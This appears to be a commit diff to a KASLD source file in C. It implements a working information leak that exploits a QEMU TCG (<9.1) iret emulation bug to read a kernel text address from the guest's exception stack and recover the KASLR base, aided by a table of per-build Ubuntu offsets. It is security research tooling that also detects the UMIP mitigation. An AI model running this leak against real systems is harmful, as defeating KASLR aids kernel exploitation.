11// This file is part of KASLD - https://github.com/bcoles/kasld
22//
3- // Leak kernel stack address inside a QEMU (<9.1) guest (x86-64) using `iret`.
3+ // Leak a kernel text address inside a QEMU (<9.1) guest (x86-64) using `iret`.
44//
5- // The QEMU TCG (Tiny Code Generator) implementation assumes the iret and
6- // call far (retf) instructions are only used to transition between privilege
7- // rings (ie, ring 0 -> ring 3). When a user-space program (ring 3) executes
8- // iret to stay in ring 3 while setting new cs/ss values, QEMU incorrectly
9- // accesses the stack as if the current privilege level is 0 - meaning it
10- // reads/writes from the kernel stack instead of the user stack.
5+ // The QEMU TCG (Tiny Code Generator) implementation performs the stack reads
6+ // of the iret and call-far (retf) instructions as if the current privilege
7+ // level were 0 (a supervisor access), rather than using the executing ring's
8+ // CPL. A ring-3 program can therefore point rsp at a kernel address and have
9+ // iret read the return frame from it — an access that should fault — pulling a
10+ // kernel value out into the guest. The div-by-zero always faults through
11+ // vector 0, so the value recovered is the return address of the divide-error
12+ // handler left on the kernel stack: asm_exc_divide_error+0xf, a kernel .text
13+ // pointer at a build-specific offset above _text (tens of MiB).
1114//
1215// Patched in QEMU version 9.1.
1316//
14- // Uses and largely based on original code by @_leave07:
17+ // The leak primitive (the div/sgdt/iretq sequence and signal handlers)
18+ // is used largely verbatim from original code by @_leave07 and @prosti:
1519// https://kqx.io/post/qemu-nday/#leak-exploit
1620//
17- // Output:
21+ // Output (on a recognized build the image base is also recovered) :
1822// [.] trying QEMU TCG iret leak ...
19- // leaked kernel stack address: ffffffff9880105f
20- // possible kernel base: ffffffff98800000
23+ // [+] leaked kernel text address: ffffffff886010af (asm_exc_divide_error+0xf)
24+ // [.] image base at or below: ffffffff88600000
25+ // [+] recovered image base: ffffffff87600000
26+ // V kernel_text:asm_exc_divide_error pos=interior conf=parsed
27+ // sample=0xffffffff886010af V kernel_image:_text pos=base conf=heuristic
28+ // lo=0xffffffff87600000
2129//
2230// Leak primitive:
23- // Data leaked: kernel stack address (exception handler return address)
24- // Kernel subsystem: QEMU TCG — iret instruction emulation bug
25- // Data structure: kernel exception stack frame (return address)
26- // Address type: virtual (kernel stack )
27- // Method: parsed (QEMU reads kernel stack instead of user stack )
31+ // Data leaked: kernel .text address (asm_exc_divide_error+0xf return
32+ // site) Kernel subsystem: QEMU TCG — iret instruction emulation bug Data
33+ // structure: return-address slot in the kernel exception stack frame
34+ // Address type: virtual (kernel text )
35+ // Method: parsed (QEMU reads the iret frame as ring 0 )
2836// Patched: QEMU v9.1 (commit 0bd385e7)
2937// Status: fixed in QEMU v9.1 (not a kernel bug)
3038// Access check: N/A (QEMU TCG emulation bug; not a kernel vulnerability)
3341// Mitigations:
3442// Fixed in QEMU v9.1. Only affects QEMU TCG (software emulation);
3543// KVM (hardware virtualization) is not affected. Not a kernel bug.
44+ // The exception stack is located via `sgdt`; when the guest CPU exposes
45+ // UMIP the kernel emulates `sgdt` with a dummy GDT base, so the leak cannot
46+ // find the frame even on a vulnerable QEMU. That case is detected up front
47+ // and reported UNAVAILABLE (mitigation: umip) before the faulting iret runs.
48+ // KPTI does NOT block this leak: the exception stack lives in the
49+ // cpu_entry_area, which is mapped in the user page tables even under KPTI.
3650//
3751// References:
3852// https://kqx.io/post/qemu-nday/#leak-exploit
5468#include <stdint.h>
5569#include <stdio.h>
5670#include <stdlib.h>
71+ #include <string.h>
5772#include <sys/mman.h>
73+ #include <sys/utsname.h>
5874
5975KASLD_EXPLAIN (
6076 "Inside a QEMU TCG (software-emulated) x86_64 guest, the iret "
61- "instruction is mis-emulated: when ring-3 code executes iret to stay "
62- "in ring 3 with new cs/ss, TCG reads the iret frame from the kernel "
63- "stack instead of the user stack. This leaks an adjacent kernel "
64- "address into the guest; values in the kernel-text range are kept as "
65- "a base sample. Fixed in QEMU v9.1." );
77+ "instruction performs its stack reads as ring 0 instead of the "
78+ "executing ring's privilege level. A ring-3 program points rsp at the "
79+ "kernel exception stack, and iret reads back an exception handler's "
80+ "return address — a kernel .text pointer — which faults on use and is "
81+ "kept as a text sample. Fixed in QEMU v9.1." );
6682
6783KASLD_META ("method:parsed\n"
6884 "phase:inference\n"
6985 "live:1\n"
7086 "addr:virtual\n"
7187 "patch:QEMU v9.1\n" );
7288
89+ /* UMIP (User-Mode Instruction Prevention) emulation dummy GDT base. When UMIP
90+ * is active the kernel traps `sgdt` from ring 3 and returns this hardcoded base
91+ * (arch/x86/kernel/umip.c: UMIP_DUMMY_GDT_BASE) instead of the real GDTR — so
92+ * the exception stack cannot be located and the technique cannot work. UMIP is
93+ * present on Intel Cannon Lake+ (2018) and AMD Zen 2+ (2019). */
94+ #define UMIP_DUMMY_GDT_BASE 0xfffffffffffe0000UL
95+
96+ /* True when `sgdt` is being emulated by the kernel under UMIP (dummy base). */
97+ static int umip_active (void ) {
98+ struct {
99+ uint16_t limit ;
100+ uint64_t base ;
101+ } __attribute__((packed )) gdtr ;
102+ __asm__ volatile ("sgdt %0" : "=m" (gdtr ));
103+ return (unsigned long )gdtr .base == UMIP_DUMMY_GDT_BASE ;
104+ }
105+
106+ /* Offset of asm_exc_divide_error from the kernel image base (_text) for known
107+ * builds — i.e. (asm_exc_divide_error - _text), read from System.map/kallsyms.
108+ * The leak returns asm_exc_divide_error+<small>, so the exact image base is
109+ * floor(leaked - asm_exc_divide_error): flooring to the KASLR grid absorbs the
110+ * sub-alignment return-site remainder. Keyed on the full uname
111+ * ("<release> <version>") as a build fingerprint — the version string embeds
112+ * the build id/date, so a match identifies the precise build and a bad guess
113+ * simply never matches. Long Ubuntu HWE versions overflow utsname.version's
114+ * 64-char field, so the kernel clips them at build (in /proc/version and uname
115+ * -v alike); fingerprints are stored exactly as the kernel reports them, with
116+ * trailing whitespace trimmed on both sides so a clip that ends on a space
117+ * still matches. A match only sets the likely window (CONF_HEURISTIC); the
118+ * guaranteed window rests on the interior sample. */
119+ struct kernel_info {
120+ const char * kernel_version ;
121+ uint64_t asm_exc_divide_error ;
122+ };
123+
124+ // clang-format off
125+ static const struct kernel_info offsets [] = {
126+ // Ubuntu 20.04 (5.8 HWE)
127+ {"5.8.0-23-generic #24~20.04.1-Ubuntu SMP Sat Oct 10 04:57:02 UTC 2020" , 0xc00870 },
128+ {"5.8.0-25-generic #26~20.04.1-Ubuntu SMP Thu Oct 15 14:55:06 UTC 2020" , 0xc00870 },
129+ {"5.8.0-28-generic #30~20.04.1-Ubuntu SMP Thu Nov 5 20:57:40 UTC 2020" , 0xc00870 },
130+ {"5.8.0-29-generic #31~20.04.1-Ubuntu SMP Fri Nov 6 16:10:42 UTC 2020" , 0xc00870 },
131+ {"5.8.0-33-generic #36~20.04.1-Ubuntu SMP Wed Dec 9 17:01:13 UTC 2020" , 0xc00870 },
132+ {"5.8.0-34-generic #37~20.04.2-Ubuntu SMP Thu Dec 17 14:53:00 UTC 2020" , 0xc00870 },
133+ {"5.8.0-36-generic #40~20.04.1-Ubuntu SMP Wed Jan 6 10:15:55 UTC 2021" , 0xc00870 },
134+ {"5.8.0-38-generic #43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021" , 0xc00870 },
135+ {"5.8.0-40-generic #45~20.04.1-Ubuntu SMP Fri Jan 15 11:35:04 UTC 2021" , 0xc00870 },
136+ {"5.8.0-41-generic #46~20.04.1-Ubuntu SMP Mon Jan 18 17:52:23 UTC 2021" , 0xc00870 },
137+ {"5.8.0-43-generic #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021" , 0xc00870 },
138+ {"5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021" , 0xc00870 },
139+ {"5.8.0-45-generic #51~20.04.1-Ubuntu SMP Tue Feb 23 13:46:31 UTC 2021" , 0xc00870 },
140+ {"5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021" , 0xc00870 },
141+ {"5.8.0-49-generic #55~20.04.1-Ubuntu SMP Fri Mar 26 01:01:07 UTC 2021" , 0xc00870 },
142+ {"5.8.0-50-generic #56~20.04.1-Ubuntu SMP Mon Apr 12 21:46:35 UTC 2021" , 0xc00870 },
143+ {"5.8.0-53-generic #60~20.04.1-Ubuntu SMP Thu May 6 09:52:46 UTC 2021" , 0xc00870 },
144+ {"5.8.0-53-lowlatency #60~20.04.1-Ubuntu SMP PREEMPT Thu May 6 10:59:47 UTC 2021" , 0xc00870 },
145+ {"5.8.0-55-generic #62~20.04.1-Ubuntu SMP Wed Jun 2 08:55:04 UTC 2021" , 0xc00870 },
146+ // Ubuntu 21.04
147+ {"5.11.0-16-generic #17-Ubuntu SMP Wed Apr 14 20:12:43 UTC 2021" , 0xe00870 },
148+ {"5.11.0-22-generic #23-Ubuntu SMP Thu Jun 17 00:34:23 UTC 2021" , 0xe00870 },
149+ // Ubuntu 21.10
150+ {"5.13.0-27-generic #29-Ubuntu SMP Wed Jan 12 17:36:47 UTC 2022" , 0xe00860 },
151+ {"5.13.0-30-generic #33-Ubuntu SMP Fri Feb 4 17:03:31 UTC 2022" , 0xe00860 },
152+ {"5.13.0-35-generic #40-Ubuntu SMP Mon Mar 7 08:03:10 UTC 2022" , 0xe00860 },
153+ {"5.13.0-37-generic #42-Ubuntu SMP Tue Mar 15 14:34:06 UTC 2022" , 0xe00860 },
154+ {"5.13.0-37-lowlatency #42-Ubuntu SMP PREEMPT Tue Mar 15 15:24:39 UTC 2022" , 0xe00860 },
155+ // Ubuntu 22.04
156+ {"5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022" , 0xe008f0 },
157+ // Ubuntu 24.04
158+ {"6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026" , 0x1400950 },
159+ {"6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026" , 0x1400950 },
160+ };
161+ // clang-format on
162+
163+ #define ARRAY_SIZE (x ) (sizeof(x) / sizeof((x)[0]))
164+
165+ /* Index into offsets[] whose full uname matches this kernel, or -1. Trailing
166+ * whitespace is trimmed before comparing: a long Ubuntu HWE version clipped at
167+ * utsname's 64-char field can end on a space, and the table stores fingerprints
168+ * trimmed the same way, so the live uname is trimmed to match. */
169+ static int match_known_kernel (void ) {
170+ struct utsname u ;
171+ char v [512 ];
172+ size_t n ;
173+ unsigned long i ;
174+
175+ if (kasld_uname (& u ) != 0 )
176+ return -1 ;
177+ snprintf (v , sizeof (v ), "%s %s" , u .release , u .version );
178+ for (n = strlen (v ); n > 0 && v [n - 1 ] == ' ' ; n -- )
179+ v [n - 1 ] = '\0' ;
180+ for (i = 0 ; i < ARRAY_SIZE (offsets ); i ++ )
181+ if (strcmp (v , offsets [i ].kernel_version ) == 0 )
182+ return (int )i ;
183+ return -1 ;
184+ }
185+
73186uint64_t kbase ;
74187static sigjmp_buf env ;
75188
@@ -84,10 +197,12 @@ static void sigfpe_handler(int sig, siginfo_t *si, void *context) {
84197 uc -> uc_mcontext .gregs [REG_RIP ] += 3 ;
85198}
86199
87- // SIGSEGV handler: triggered after iretq jumps to the unmapped user-space
88- // address (0x133a000). Due to the QEMU bug, the iret frame was read from
89- // the kernel exception stack, so RIP here contains a kernel .text address
90- // (the exception handler return address) leaked from the kernel stack.
200+ // SIGSEGV handler: when the leak fires, the mis-emulated iretq has popped an
201+ // exception handler's return address off the kernel exception stack into RIP
202+ // and faulted trying to execute it from ring 3 (SMEP). RIP here is therefore a
203+ // kernel .text address — the handler's return address, read off the kernel
204+ // stack. (If the read instead faults, or lands on a non-text value, main()
205+ // discards it.)
91206static void sigsegv_handler (int sig , siginfo_t * si , void * context ) {
92207 (void )sig ;
93208 (void )si ;
@@ -102,11 +217,11 @@ static void kaslr(void) {
102217 __asm__ volatile (
103218 ".intel_syntax noprefix\n"
104219
105- // Step 1: Prepare a fake iret frame in registers R15-R12.
106- // When the div-by-zero fault fires, these callee-saved regs
107- // are pushed onto the kernel exception stack, forming a valid
108- // user-mode iret frame : {RIP=0x133a000, CS=0x33, RFLAGS=0x206 ,
109- // RSP=unused, SS=0x2b}.
220+ // Step 1: Load a recognizable landmark frame into registers R15-R12.
221+ // When the div-by-zero fault fires, these callee-saved regs are
222+ // pushed onto the kernel exception stack as pt_regs, marking a known
223+ // spot below the handler's return address : {RIP=0x133a000, CS=0x33,
224+ // RFLAGS=0x206, RSP=unused, SS=0x2b}.
110225 "mov r15, 0x33\n" // CS: user-mode code segment
111226 "mov r14, 0x206\n" // RFLAGS: IF set
112227 "mov r13, 0x133a000\n" // RIP: target address (unmapped)
@@ -129,17 +244,17 @@ static void kaslr(void) {
129244 "add rax, 0x1f50\n" // offset to iret frame on exception stack
130245 "mov rsp, rax\n"
131246
132- // Step 4: Execute iretq. Due to the QEMU bug, iretq in ring 3
133- // reads the frame from the kernel stack ( where RSP now points)
134- // instead of the user stack . It pops our fake frame values,
135- // jumping to 0x133a000 which is unmapped, triggering SIGSEGV.
136- // The SIGSEGV handler captures the leaked kernel address from
137- // the signal context.
247+ // Step 4: Execute iretq. Due to the QEMU bug, iretq in ring 3 reads
248+ // the frame from where RSP now points (the kernel exception stack) as
249+ // a ring-0 access instead of faulting . It pops the exception handler's
250+ // return address — sitting just above our landmark frame — into RIP,
251+ // then faults trying to execute that kernel .text address from ring 3.
252+ // The SIGSEGV handler captures it from the signal context.
138253 "iretq\n"
139254 ".att_syntax noprefix\n" );
140255}
141256
142- static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret (void ) {
257+ static uint64_t get_kernel_text_addr_using_qemu_tcg_iret (void ) {
143258 kasld_info ("trying QEMU TCG iret leak ..." );
144259
145260 // Install SIGFPE handler to recover from the intentional div-by-zero
@@ -149,13 +264,13 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
149264 sigaction (SIGFPE , & sa_fpe , NULL );
150265
151266 // Set up an alternate signal stack so the SIGSEGV handler can run even
152- // when RSP has been corrupted to a kernel address (which happens on
153- // non-vulnerable systems where iretq faults before restoring a valid RSP).
154- // The alt stack is load-bearing for this technique — without it, a
155- // non-vulnerable system's faulting iretq drops the handler onto the
156- // corrupted main stack and the component segfaults instead of cleanly
157- // reporting "no leak". Bail rather than continue with the safeguard
158- // silently disabled.
267+ // when RSP has been corrupted to a kernel address (which happens whenever
268+ // the leak does not fire — patched QEMU, or the frame read itself faults —
269+ // so iretq faults before restoring a valid RSP). The alt stack is
270+ // load-bearing for this technique — without it, that faulting iretq drops
271+ // the handler onto the corrupted main stack and the component segfaults
272+ // instead of cleanly reporting "no leak". Bail rather than continue with the
273+ // safeguard silently disabled.
159274 stack_t ss ;
160275 ss .ss_sp = malloc (SIGSTKSZ );
161276 if (!ss .ss_sp ) {
@@ -176,9 +291,10 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
176291 sigemptyset (& sa_segv .sa_mask );
177292 sigaction (SIGSEGV , & sa_segv , NULL );
178293
179- // Pre-map the stack region used after iretq jumps to 0x133a000.
180- // The SIGSEGV handler needs a valid stack; this growsdown mapping
181- // at 0x1338000 provides it (adjacent to the 0x133a000 target).
294+ // Pre-map a stack region just below 0x133a000 (the landmark RIP). Used as
295+ // a fallback stack for the path where iretq pops the landmark frame and
296+ // jumps to 0x133a000 instead of leaking; this growsdown mapping at
297+ // 0x1338000 is adjacent to that target.
182298 mmap ((void * )0x1338000 , PAGE_SIZE * 2 , PROT_READ | PROT_WRITE ,
183299 MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_POPULATE ,
184300 -1 , 0 );
@@ -188,7 +304,7 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
188304 }
189305
190306 if (kasld_addr_is_kernel_text (kbase )) {
191- kasld_found ("leaked kernel stack address: %lx" , kbase );
307+ kasld_found ("leaked kernel text address: %lx" , kbase );
192308 return kbase ;
193309 }
194310
@@ -198,16 +314,51 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
198314int main (void ) {
199315 if (kasld_skip_live_probe ("iret" ))
200316 return 0 ;
201- unsigned long addr = get_kernel_stack_addr_using_qemu_tcg_iret ();
317+
318+ // UMIP emulates `sgdt` with a dummy GDT base, so the exception stack cannot
319+ // be located. Detect it up front and bail before the faulting iret — on a
320+ // UMIP host that iret reads unmapped memory and logs a spurious kernel
321+ // page-fault Oops. UMIP is a defensive control that is present, so report it
322+ // as a mitigation (exit UNAVAILABLE). KPTI, by contrast, does not block this
323+ // leak: the exception stack lives in the cpu_entry_area, which stays mapped
324+ // in the user page tables even under KPTI.
325+ if (umip_active ())
326+ return kasld_disp_mitigation (
327+ "umip" , "UMIP emulates sgdt; kernel exception stack not locatable" );
328+
329+ unsigned long addr = get_kernel_text_addr_using_qemu_tcg_iret ();
202330
203331 if (!addr ) {
204332 kasld_err ("QEMU TCG IRET fault not triggered" );
205333 return 0 ;
206334 }
207335
208- kasld_info ("possible kernel base: %lx" , kasld_floor_text_base (addr ));
209- kasld_result_sample (KASLD_TYPE_VIRT , REGION_KERNEL_TEXT , addr , NULL ,
210- CONF_PARSED );
336+ // The leak is an interior .text pointer, not the image base: the div-by-zero
337+ // always faults through vector 0, so `addr` is the return address inside
338+ // asm_exc_divide_error (the #DE entry stub), observed at +0xf. Its distance
339+ // from _text is build-specific (tens of MiB), so the sample is named for
340+ // provenance but the engine bounds the base from it — the base is
341+ // grid-aligned at or below the floored sample.
342+ kasld_info ("image base at or below: %lx" , kasld_floor_text_base (addr ));
343+ kasld_result_sample (KASLD_TYPE_VIRT , REGION_KERNEL_TEXT , addr ,
344+ "asm_exc_divide_error" , CONF_PARSED );
345+
346+ // If the exact build is known, subtract asm_exc_divide_error's offset from
347+ // _text to recover the image base. Flooring to the KASLR grid absorbs the
348+ // sub-alignment return-site remainder, so the result is _text exactly. Report
349+ // it at CONF_HEURISTIC — the recovery trusts the uname build fingerprint, not
350+ // proof, so it pins only the likely window; the CONF_PARSED sample above
351+ // still bounds the guaranteed window soundly if the table is ever stale.
352+ int k = match_known_kernel ();
353+ if (k >= 0 ) {
354+ unsigned long base =
355+ kasld_floor_text_base (addr - offsets [k ].asm_exc_divide_error );
356+ if (kasld_addr_is_kernel_text (base ) && addr >= base ) {
357+ kasld_found ("recovered image base: %lx" , base );
358+ kasld_result_base (KASLD_TYPE_VIRT , REGION_KERNEL_IMAGE , base , "_text" ,
359+ CONF_HEURISTIC );
360+ }
361+ }
211362
212363 return 0 ;
213364}
0 commit comments